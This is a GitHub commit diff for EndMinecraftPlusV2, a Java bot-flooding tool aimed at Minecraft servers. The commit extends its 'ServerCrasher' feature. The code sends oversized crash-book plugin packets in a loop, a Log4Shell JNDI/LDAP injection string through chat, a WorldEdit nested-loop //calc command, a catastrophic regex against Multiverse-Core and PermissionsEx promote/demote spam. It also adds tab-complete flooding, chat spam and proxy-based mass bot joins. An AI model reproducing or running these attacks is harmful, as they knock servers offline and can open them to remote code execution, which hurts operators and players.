性能优化 ServerCrasher功能完善

This commit is contained in:
SerendipityR 2022-10-07 01:50:43 +08:00 committed by GitHub
parent 69d64ee8de
commit f0e971aeaa
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
5 changed files with 359 additions and 306 deletions

View File

@ -4,13 +4,11 @@ import java.io.*;
import java.net.InetSocketAddress; import java.net.InetSocketAddress;
import java.net.Proxy; import java.net.Proxy;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.HashMap;
import java.util.List; import java.util.List;
import java.util.regex.Matcher; import java.util.regex.Matcher;
public class ProxyUtil { public class ProxyUtil {
public static List<String> proxies = new ArrayList<>(); public static List<String> proxies = new ArrayList<>();
public static HashMap<Object,Proxy> clientsProxy = new HashMap<>();
public static List<Proxy> workingProxiesList = new ArrayList<>(); public static List<Proxy> workingProxiesList = new ArrayList<>();
public static void getProxies() { public static void getProxies() {

View File

@ -44,11 +44,11 @@ import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors; import java.util.concurrent.Executors;
public class BotAttack extends IAttack { public class BotAttack extends IAttack {
public static HashMap<Client, String> clientName = new HashMap<>(); public static HashMap<Session, String> clientName = new HashMap<>();
public static int failed = 0; public static int failed = 0;
public static int rejoin = 0; public static int rejoin = 0;
public static int clickVerifies = 0; public static int clickVerifies = 0;
public static List<String> alivePlayers = new ArrayList<>(); public static List<Session> alivePlayers = new ArrayList<>();
public static List<String> rejoinPlayers = new ArrayList<>(); public static List<String> rejoinPlayers = new ArrayList<>();
public static List<Session> joinedPlayers = new ArrayList<>(); public static List<Session> joinedPlayers = new ArrayList<>();
public static HashMap<Session, ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>(); public static HashMap<Session, ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
@ -57,7 +57,6 @@ public class BotAttack extends IAttack {
protected Map<String, String> modList; protected Map<String, String> modList;
private Thread mainThread; private Thread mainThread;
private Thread tabThread;
private Thread taskThread; private Thread taskThread;
public Set<Client> clients = new ConcurrentSet<>(); public Set<Client> clients = new ConcurrentSet<>();
@ -85,38 +84,37 @@ public class BotAttack extends IAttack {
public void start() { public void start() {
setTask(() -> { setTask(() -> {
while (true) { while (true) {
for (Client c : clients) { List<Session> tempList = new ArrayList<>(alivePlayers);
if (c.getSession().isConnected()) {
if (c.getSession().hasFlag("login")) { for (Session c:tempList) {
if (c.isConnected()) {
if (c.hasFlag("login")) {
if (ConfigUtil.ChatSpam) { if (ConfigUtil.ChatSpam) {
c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c)))); c.send(new ClientChatPacket(getRandMessage(clientName.get(c))));
OtherUtils.doSleep(ConfigUtil.ChatDelay); OtherUtils.doSleep(ConfigUtil.ChatDelay);
} }
if (ConfigUtil.RandomTeleport) { if (ConfigUtil.RandomTeleport) {
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c.getSession());
if (c.getSession().isConnected() && positionRotationPacket != null) {
new Thread(() -> { new Thread(() -> {
try { ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c);
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c.getSession(), positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); if (c.isConnected() && positionRotationPacket != null) {
Thread.sleep(500); MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c.getSession(), positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); OtherUtils.doSleep(500);
} catch (InterruptedException e) { MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
throw new RuntimeException(e);
} }
}).start(); }).start();
} }
}
if (ConfigUtil.ServerCrasher && !c.getSession().hasFlag("crasher")) { if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) {
c.getSession().setFlag("crasher", true); c.setFlag("crasher", true);
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher");
new Thread(() -> {
switch (ConfigUtil.ServerCrasherMode) { switch (ConfigUtil.ServerCrasherMode) {
case 1: case 1:
new Thread(() -> { new Thread(() -> {
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher"); while (c.isConnected()) {
while (true) {
try { try {
ItemStack crashBook = getCrashBook(); ItemStack crashBook = getCrashBook();
@ -130,28 +128,69 @@ public class BotAttack extends IAttack {
byte[] crashData = buf.toByteArray(); byte[] crashData = buf.toByteArray();
c.getSession().send(new ClientPluginMessagePacket("MC|BEdit", crashData)); c.send(new ClientPluginMessagePacket("MC|BEdit", crashData));
c.getSession().send(new ClientPluginMessagePacket("MC|BSign", crashData)); c.send(new ClientPluginMessagePacket("MC|BSign", crashData));
Thread.sleep(ConfigUtil.ServerCrasherPacketDelay); OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay);
} catch (Exception ignored) {} } catch (Exception ignored) {}
} }
}).start(); }).start();
break; break;
case 2:
String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}";
c.send(new ClientChatPacket(log4jExploit));
break;
case 3:
String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}";
c.send(new ClientChatPacket(worldEdit));
break;
case 4:
String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^";
c.send(new ClientChatPacket(multiverseCore));
break;
case 5:
String pex_1 = "/pex promote a a";
String pex_2 = "/pex demote a a";
while (c.isConnected()) {
c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2));
OtherUtils.doSleep(2000);
}
break;
default: default:
LogUtil.doLog(1, "ServerCrasher Mode设置有误请检查配置文件。", null);
break;
} }
} }).start();
} else if (c.getSession().hasFlag("join")) {
if (ConfigUtil.RegisterAndLogin) {
for (String cmd:ConfigUtil.RegisterCommands) {
OtherUtils.doSleep(ConfigUtil.ChatDelay);
c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
}
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
} }
c.getSession().setFlag("login", true); if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) {
c.setFlag("tabAttack", true);
new Thread(() -> {
while (c.isConnected()) {
MultiVersionPacket.sendTabPacket(c, "/");
OtherUtils.doSleep(100);
} }
}).start();
}
} else {
if (ConfigUtil.RegisterAndLogin) {
try {
for (String cmd:ConfigUtil.RegisterCommands) {
OtherUtils.doSleep(ConfigUtil.ChatDelay);
c.send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
}
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
c.setFlag("login", true);
} catch (Exception ignored) {}
} else {
c.setFlag("login", true);
}
}
} else {
alivePlayers.remove(c);
} }
} }
} }
@ -182,35 +221,19 @@ public class BotAttack extends IAttack {
} }
}); });
if (this.attack_tab) {
tabThread = new Thread(() -> {
while (true) {
for (Client c : clients) {
if (c.getSession().isConnected() && c.getSession().hasFlag("login")) {
MultiVersionPacket.sendTabPacket(c.getSession(), "/");
}
}
OtherUtils.doSleep(10);
}
});
}
mainThread.start(); mainThread.start();
if (tabThread != null) if (taskThread != null) {
tabThread.start();
if (taskThread != null)
taskThread.start(); taskThread.start();
} }
}
@SuppressWarnings("deprecation") @SuppressWarnings("deprecation")
public void stop() { public void stop() {
mainThread.stop(); mainThread.stop();
if (tabThread != null) if (taskThread != null) {
tabThread.stop();
if (taskThread != null)
taskThread.stop(); taskThread.stop();
} }
}
public void setTask(Runnable task) { public void setTask(Runnable task) {
taskThread = new Thread(task); taskThread = new Thread(task);
@ -218,16 +241,14 @@ public class BotAttack extends IAttack {
private void cleanClients() { private void cleanClients() {
for (Client client:clients) { for (Client client:clients) {
String username = clientName.get(client);
if (!client.getSession().isConnected()) { if (!client.getSession().isConnected()) {
positionPacket.remove(client.getSession()); positionPacket.remove(client.getSession());
alivePlayers.remove(username); alivePlayers.remove(client.getSession());
clientName.remove(client); clientName.remove(client.getSession());
clients.remove(client); clients.remove(client);
} else { } else {
if (!alivePlayers.contains(username) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) { if (!alivePlayers.contains(client.getSession()) && (client.getSession().hasFlag("login") || client.getSession().hasFlag("join"))) {
alivePlayers.add(username); alivePlayers.add(client.getSession());
} }
} }
} }
@ -246,6 +267,7 @@ public class BotAttack extends IAttack {
break; break;
} }
while (clients.size() <= this.attack_maxconnect) {
for (String p: ProxyUtil.proxies) { for (String p: ProxyUtil.proxies) {
try { try {
if (!EndMinecraftPlusV2.isLinux) { if (!EndMinecraftPlusV2.isLinux) {
@ -258,9 +280,8 @@ public class BotAttack extends IAttack {
Client client = createClient(ip, port, User[0], proxy); Client client = createClient(ip, port, User[0], proxy);
client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
clientName.put(client, User[0]); clientName.put(client.getSession(), User[0]);
clients.add(client); clients.add(client);
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
pool.submit(() -> { pool.submit(() -> {
if (this.attack_motdbefore) { if (this.attack_motdbefore) {
@ -273,15 +294,12 @@ public class BotAttack extends IAttack {
if (this.attack_joinsleep > 0) { if (this.attack_joinsleep > 0) {
OtherUtils.doSleep(attack_joinsleep); OtherUtils.doSleep(attack_joinsleep);
} }
if (clients.size() > this.attack_maxconnect) {
break;
}
} catch (Exception e) { } catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null); LogUtil.doLog(1, "发生错误: " + e, null);
} }
} }
} }
}
public Client createClient(final String ip, int port, final String username, Proxy proxy) { public Client createClient(final String ip, int port, final String username, Proxy proxy) {
Client client; Client client;
@ -321,9 +339,7 @@ public class BotAttack extends IAttack {
} }
public void packetReceived(Session session, Packet packet) { public void packetReceived(Session session, Packet packet) {
new Thread(() -> { new Thread(() -> handlePacket(session, packet, username)).start();
handlePacket(session, packet, username);
}).start();
} }
public void packetSending(PacketSendingEvent packetSendingEvent) { public void packetSending(PacketSendingEvent packetSendingEvent) {
@ -376,10 +392,9 @@ public class BotAttack extends IAttack {
rejoin++; rejoin++;
LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack"); LogUtil.doLog(0,"[假人尝试重连] [" + username + "] [" + proxy + "]", "BotAttack");
clientName.put(rejoinClient, username); clientName.put(rejoinClient.getSession(), username);
clients.add(rejoinClient); clients.add(rejoinClient);
rejoinClient.getSession().connect(false); rejoinClient.getSession().connect(false);
ProxyUtil.clientsProxy.put(client.getSession(), proxy);
if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) { if (rejoinClient.getSession().hasFlag("join") || rejoinClient.getSession().hasFlag("login")) {
rejoinPlayers.remove(username); rejoinPlayers.remove(username);
@ -395,7 +410,7 @@ public class BotAttack extends IAttack {
} }
failed++; failed++;
alivePlayers.remove(username); alivePlayers.remove(client.getSession());
}).start(); }).start();
} }
}); });
@ -445,8 +460,8 @@ public class BotAttack extends IAttack {
joinedPlayers.add(session); joinedPlayers.add(session);
if (!alivePlayers.contains(username)) { if (!alivePlayers.contains(session)) {
alivePlayers.add(username); alivePlayers.add(session);
} }
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN"); MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
@ -480,10 +495,6 @@ public class BotAttack extends IAttack {
joinedPlayers.add(session); joinedPlayers.add(session);
} }
if (!alivePlayers.contains(username)) {
alivePlayers.add(username);
}
if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) { if (ConfigUtil.ShowServerMessages && !message.getFullText().equals("")) {
LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack"); LogUtil.doLog(0, "[服务端返回信息] [" + username + "] " + message.getFullText(), "BotAttack");
} }
@ -491,8 +502,8 @@ public class BotAttack extends IAttack {
ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId()); ClientKeepAlivePacket keepAlivePacket = new ClientKeepAlivePacket(((ServerKeepAlivePacket) recvPacket).getPingId());
session.send(keepAlivePacket); session.send(keepAlivePacket);
if (!alivePlayers.contains(username)) { if (!alivePlayers.contains(session)) {
alivePlayers.add(username); alivePlayers.add(session);
} }
if (!joinedPlayers.contains(session)) { if (!joinedPlayers.contains(session)) {
@ -527,7 +538,7 @@ public class BotAttack extends IAttack {
} }
public static ItemStack getCrashBook() { public static ItemStack getCrashBook() {
ItemStack crashBook = null; ItemStack crashBook;
CompoundTag nbtTag = new CompoundTag("crashBook"); CompoundTag nbtTag = new CompoundTag("crashBook");
List<Tag> pageList = new ArrayList<>(); List<Tag> pageList = new ArrayList<>();

View File

@ -7,7 +7,6 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.A
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ACProtocol.AntiCheat3;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge; import cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol.MCForge;
import com.github.steveice10.mc.protocol.data.game.entity.metadata.ItemStack; import com.github.steveice10.mc.protocol.data.game.entity.metadata.ItemStack;
import com.github.steveice10.mc.protocol.data.message.Message;
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket;
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientKeepAlivePacket;
import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket; import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
@ -36,8 +35,6 @@ import com.github.steveice10.packetlib.io.stream.StreamNetOutput;
import com.github.steveice10.packetlib.packet.Packet; import com.github.steveice10.packetlib.packet.Packet;
import io.netty.util.internal.ConcurrentSet; import io.netty.util.internal.ConcurrentSet;
import net.kyori.adventure.text.Component; import net.kyori.adventure.text.Component;
import net.kyori.adventure.text.serializer.ComponentSerializer;
import net.kyori.adventure.text.serializer.gson.GsonComponentSerializer;
import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer; import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
@ -54,7 +51,7 @@ public class NewBotAttack extends IAttack {
public static int failed = 0; public static int failed = 0;
public static int rejoin = 0; public static int rejoin = 0;
public static int clickVerifies = 0; public static int clickVerifies = 0;
public static List<String> alivePlayers = new ArrayList<>(); public static List<Session> alivePlayers = new ArrayList<>();
public static List<String> rejoinPlayers = new ArrayList<>(); public static List<String> rejoinPlayers = new ArrayList<>();
public static List<Session> joinedPlayers = new ArrayList<>(); public static List<Session> joinedPlayers = new ArrayList<>();
public static HashMap<Session,ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>(); public static HashMap<Session,ServerPlayerPositionRotationPacket> positionPacket = new HashMap<>();
@ -64,7 +61,6 @@ public class NewBotAttack extends IAttack {
protected Map<String, String> modList; protected Map<String, String> modList;
private Thread mainThread; private Thread mainThread;
private Thread tabThread;
private Thread taskThread; private Thread taskThread;
public Set<Session> clients = new ConcurrentSet<>(); public Set<Session> clients = new ConcurrentSet<>();
@ -92,7 +88,9 @@ public class NewBotAttack extends IAttack {
public void start() { public void start() {
setTask(() -> { setTask(() -> {
while (true) { while (true) {
for (Session c : clients) { List<Session> tempList = new ArrayList<>(alivePlayers);
for (Session c:tempList) {
if (c.isConnected()) { if (c.isConnected()) {
if (c.hasFlag("login")) { if (c.hasFlag("login")) {
if (ConfigUtil.ChatSpam) { if (ConfigUtil.ChatSpam) {
@ -110,49 +108,36 @@ public class NewBotAttack extends IAttack {
} }
if (ConfigUtil.RandomTeleport) { if (ConfigUtil.RandomTeleport) {
new Thread(() -> {
if (ProtocolLibs.adaptAfter758) { if (ProtocolLibs.adaptAfter758) {
ClientboundPlayerPositionPacket positionRotationPacket = newPositionPacket.get(c); ClientboundPlayerPositionPacket positionRotationPacket = newPositionPacket.get(c);
if (c.isConnected() && positionRotationPacket != null) { if (c.isConnected() && positionRotationPacket != null) {
new Thread(() -> {
try {
VersionSupport758.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); VersionSupport758.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
Thread.sleep(500); OtherUtils.doSleep(500);
VersionSupport758.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); VersionSupport758.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
}).start();
} }
} else { } else {
ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c); ServerPlayerPositionRotationPacket positionRotationPacket = positionPacket.get(c);
if (c.isConnected() && positionRotationPacket != null) { if (c.isConnected() && positionRotationPacket != null) {
new Thread(() -> {
try {
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX() + OtherUtils.getRandomInt(-10, 10), positionRotationPacket.getY() + OtherUtils.getRandomInt(2, 8), positionRotationPacket.getZ() + OtherUtils.getRandomInt(-10, 10), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
Thread.sleep(500); OtherUtils.doSleep(500);
cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00)); cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.AttackUtils.MultiVersionPacket.sendPosPacket(c, positionRotationPacket.getX(), positionRotationPacket.getY(), positionRotationPacket.getZ(), OtherUtils.getRandomFloat(0.00, 1.00), OtherUtils.getRandomFloat(0.00, 1.00));
} catch (InterruptedException e) { }
throw new RuntimeException(e);
} }
}).start(); }).start();
} }
}
}
if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) { if (ConfigUtil.ServerCrasher && !c.hasFlag("crasher")) {
c.setFlag("crasher", true); c.setFlag("crasher", true);
if (ProtocolLibs.adaptAfter758) {
} else {
switch (ConfigUtil.ServerCrasherMode) {
case 1:
new Thread(() -> {
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher"); LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher");
while (true) { new Thread(() -> {
switch (ConfigUtil.ServerCrasherMode) {
case 1:
while (c.isConnected()) {
try { try {
ItemStack crashBook = getCrashBook(); ItemStack crashBook = getCrashBook();
@ -166,20 +151,100 @@ public class NewBotAttack extends IAttack {
byte[] crashData = buf.toByteArray(); byte[] crashData = buf.toByteArray();
if (ProtocolLibs.adaptAfter758) {
c.send(new ServerboundCustomPayloadPacket("MC|BEdit", crashData));
c.send(new ServerboundCustomPayloadPacket("MC|BSign", crashData));
} else {
c.send(new ClientPluginMessagePacket("MC|BEdit", crashData)); c.send(new ClientPluginMessagePacket("MC|BEdit", crashData));
c.send(new ClientPluginMessagePacket("MC|BSign", crashData)); c.send(new ClientPluginMessagePacket("MC|BSign", crashData));
}
Thread.sleep(ConfigUtil.ServerCrasherPacketDelay); OtherUtils.doSleep(ConfigUtil.ServerCrasherPacketDelay);
} catch (Exception ignored) {} } catch (Exception ignored) {}
} }
}).start(); break;
case 2:
String log4jExploit = "${jndi:ldap://192.168.${RandomUtils.nextInt(1,253)}.${RandomUtils.nextInt(1,253)}}";
if (ProtocolLibs.adaptAfter760) {
VersionSupport760.sendChatPacket(c, log4jExploit);
} else if (ProtocolLibs.adaptAfter759) {
VersionSupport759.sendChatPacket(c, log4jExploit);
} else if (ProtocolLibs.adaptAfter758) {
VersionSupport758.sendChatPacket(c, log4jExploit);
} else {
c.send(new ClientChatPacket(log4jExploit));
}
break;
case 3:
String worldEdit = "//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<255;c++){}}}}";
if (ProtocolLibs.adaptAfter760) {
VersionSupport760.sendChatPacket(c, worldEdit);
} else if (ProtocolLibs.adaptAfter759) {
VersionSupport759.sendChatPacket(c, worldEdit);
} else if (ProtocolLibs.adaptAfter758) {
VersionSupport758.sendChatPacket(c, worldEdit);
} else {
c.send(new ClientChatPacket(worldEdit));
}
break;
case 4:
String multiverseCore = "/mv ^(.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.++)$^";
if (ProtocolLibs.adaptAfter760) {
VersionSupport760.sendChatPacket(c, multiverseCore);
} else if (ProtocolLibs.adaptAfter759) {
VersionSupport759.sendChatPacket(c, multiverseCore);
} else if (ProtocolLibs.adaptAfter758) {
VersionSupport758.sendChatPacket(c, multiverseCore);
} else {
c.send(new ClientChatPacket(multiverseCore));
}
break;
case 5:
String pex_1 = "/pex promote a a";
String pex_2 = "/pex demote a a";
while (c.isConnected()) {
if (ProtocolLibs.adaptAfter760) {
VersionSupport760.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2);
} else if (ProtocolLibs.adaptAfter759) {
VersionSupport759.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2);
} else if (ProtocolLibs.adaptAfter758) {
VersionSupport758.sendChatPacket(c, new Random().nextBoolean() ? pex_1:pex_2);
} else {
c.send(new ClientChatPacket(new Random().nextBoolean() ? pex_1:pex_2));
}
OtherUtils.doSleep(2000);
}
break; break;
default: default:
LogUtil.doLog(1, "ServerCrasher Mode设置有误请检查配置文件。", null);
break;
} }
}).start();
} }
if (ConfigUtil.TabAttack && !c.hasFlag("tabAttack")) {
c.setFlag("tabAttack", true);
new Thread(() -> {
while (c.isConnected()) {
if (ProtocolLibs.adaptAfter758) {
VersionSupport758.sendTabPacket(c, "/");
} else {
MultiVersionPacket.sendTabPacket(c, "/");
}
OtherUtils.doSleep(100);
}
}).start();
} }
} else if (c.hasFlag("join")) { } else if (c.hasFlag("join")) {
if (ConfigUtil.RegisterAndLogin) { if (ConfigUtil.RegisterAndLogin) {
try {
for (String cmd:ConfigUtil.RegisterCommands) { for (String cmd:ConfigUtil.RegisterCommands) {
OtherUtils.doSleep(ConfigUtil.ChatDelay); OtherUtils.doSleep(ConfigUtil.ChatDelay);
@ -195,11 +260,16 @@ public class NewBotAttack extends IAttack {
} }
LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack"); LogUtil.doLog(0, "[" + clientName.get(c) + "] 注册信息已发送。", "BotAttack");
}
c.setFlag("login", true);
} catch (Exception ignored) {}
} else {
c.setFlag("login", true); c.setFlag("login", true);
} }
} }
} else {
alivePlayers.remove(c);
}
} }
} }
}); });
@ -228,39 +298,19 @@ public class NewBotAttack extends IAttack {
} }
}); });
if (this.attack_tab) {
tabThread = new Thread(() -> {
while (true) {
for (Session c : clients) {
if (c.isConnected() && c.hasFlag("login")) {
if (ProtocolLibs.adaptAfter758) {
VersionSupport758.sendTabPacket(c, "/");
} else {
MultiVersionPacket.sendTabPacket(c, "/");
}
}
}
OtherUtils.doSleep(10);
}
});
}
mainThread.start(); mainThread.start();
if (tabThread != null) if (taskThread != null) {
tabThread.start();
if (taskThread != null)
taskThread.start(); taskThread.start();
} }
}
@SuppressWarnings("deprecation") @SuppressWarnings("deprecation")
public void stop() { public void stop() {
mainThread.stop(); mainThread.stop();
if (tabThread != null) if (taskThread != null) {
tabThread.stop();
if (taskThread != null)
taskThread.stop(); taskThread.stop();
} }
}
public void setTask(Runnable task) { public void setTask(Runnable task) {
taskThread = new Thread(task); taskThread = new Thread(task);
@ -268,16 +318,14 @@ public class NewBotAttack extends IAttack {
private void cleanClients() { private void cleanClients() {
for (Session client:clients) { for (Session client:clients) {
String username = clientName.get(client);
if (!client.isConnected()) { if (!client.isConnected()) {
positionPacket.remove(client); positionPacket.remove(client);
alivePlayers.remove(username); alivePlayers.remove(client);
clientName.remove(client); clientName.remove(client);
clients.remove(client); clients.remove(client);
} else { } else {
if (!alivePlayers.contains(username) && (client.hasFlag("login") || client.hasFlag("join"))) { if (!alivePlayers.contains(client) && (client.hasFlag("login") || client.hasFlag("join"))) {
alivePlayers.add(username); alivePlayers.add(client);
} }
} }
} }
@ -296,6 +344,7 @@ public class NewBotAttack extends IAttack {
break; break;
} }
while (clients.size() <= this.attack_maxconnect) {
for (String p: ProxyUtil.proxies) { for (String p: ProxyUtil.proxies) {
try { try {
if (!EndMinecraftPlusV2.isLinux) { if (!EndMinecraftPlusV2.isLinux) {
@ -310,7 +359,6 @@ public class NewBotAttack extends IAttack {
client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout)); client.setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectTimeout));
clientName.put(client, User[0]); clientName.put(client, User[0]);
clients.add(client); clients.add(client);
ProxyUtil.clientsProxy.put(client, proxy);
pool.submit(() -> { pool.submit(() -> {
if (this.attack_motdbefore) { if (this.attack_motdbefore) {
@ -323,15 +371,12 @@ public class NewBotAttack extends IAttack {
if (this.attack_joinsleep > 0) { if (this.attack_joinsleep > 0) {
OtherUtils.doSleep(attack_joinsleep); OtherUtils.doSleep(attack_joinsleep);
} }
if (clients.size() > this.attack_maxconnect) {
break;
}
} catch (Exception e) { } catch (Exception e) {
LogUtil.doLog(1, "发生错误: " + e, null); LogUtil.doLog(1, "发生错误: " + e, null);
} }
} }
} }
}
public Session createClient(final String ip, int port, final String username, Proxy proxy) { public Session createClient(final String ip, int port, final String username, Proxy proxy) {
Session client; Session client;
@ -442,7 +487,6 @@ public class NewBotAttack extends IAttack {
clientName.put(rejoinClient, username); clientName.put(rejoinClient, username);
clients.add(rejoinClient); clients.add(rejoinClient);
rejoinClient.connect(false); rejoinClient.connect(false);
ProxyUtil.clientsProxy.put(client, proxy);
if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) { if (rejoinClient.hasFlag("join") || rejoinClient.hasFlag("login")) {
rejoinPlayers.remove(username); rejoinPlayers.remove(username);
@ -458,7 +502,7 @@ public class NewBotAttack extends IAttack {
} }
failed++; failed++;
alivePlayers.remove(username); alivePlayers.remove(client);
}).start(); }).start();
} }
}); });
@ -506,8 +550,8 @@ public class NewBotAttack extends IAttack {
LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack"); LogUtil.doLog(0, "[假人加入服务器] [" + username + "]", "BotAttack");
joinedPlayers.add(session); joinedPlayers.add(session);
if (!alivePlayers.contains(username)) { if (!alivePlayers.contains(session)) {
alivePlayers.add(username); alivePlayers.add(session);
} }
MultiVersionPacket.sendClientSettingPacket(session, "zh_CN"); MultiVersionPacket.sendClientSettingPacket(session, "zh_CN");
@ -534,10 +578,6 @@ public class NewBotAttack extends IAttack {
joinedPlayers.add(session); joinedPlayers.add(session);
} }
if (!alivePlayers.contains(username)) {
